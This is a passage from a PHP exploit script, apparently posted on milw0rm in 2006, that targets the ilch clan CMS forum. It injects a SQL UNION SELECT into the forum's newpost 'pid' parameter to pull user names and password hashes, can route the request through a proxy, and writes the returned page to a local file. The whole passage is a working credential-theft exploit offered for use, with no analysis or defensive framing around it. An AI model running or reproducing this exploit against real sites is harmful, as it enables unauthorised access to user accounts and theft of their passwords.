x128.net oo website : www.x128.net"; } function xss_exploit() { $xss_target = $_SERVER['argv'][1] . "/index.php"; $xss_http_get = "?m=forum&um=newpost&tid=" . $_SERVER['argv'][2] . "&pid=" . urlencode("0 UNION SELECT pass, name FROM prefix_user WHERE id = ". $_SERVER['argv'][3] ."/*"); $xss_connection = curl_init(); if ($_SERVER['argv'][4]) { curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8); curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][4]); } curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get); curl_setopt ($xss_connection, CURLOPT_HEADER, 0); curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128'); $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n"); if ($xss_source) echo "oo dafaced ...\n"; $xss_output = fopen("ilchclan_pw.html","w"); fputs($xss_output, $xss_source); fclose($xss_output); curl_close ($xss_connection); } xss_init(); xss_header(); xss_exploit(); xss_bottom(); ?> # milw0rm.com [2006-02-20]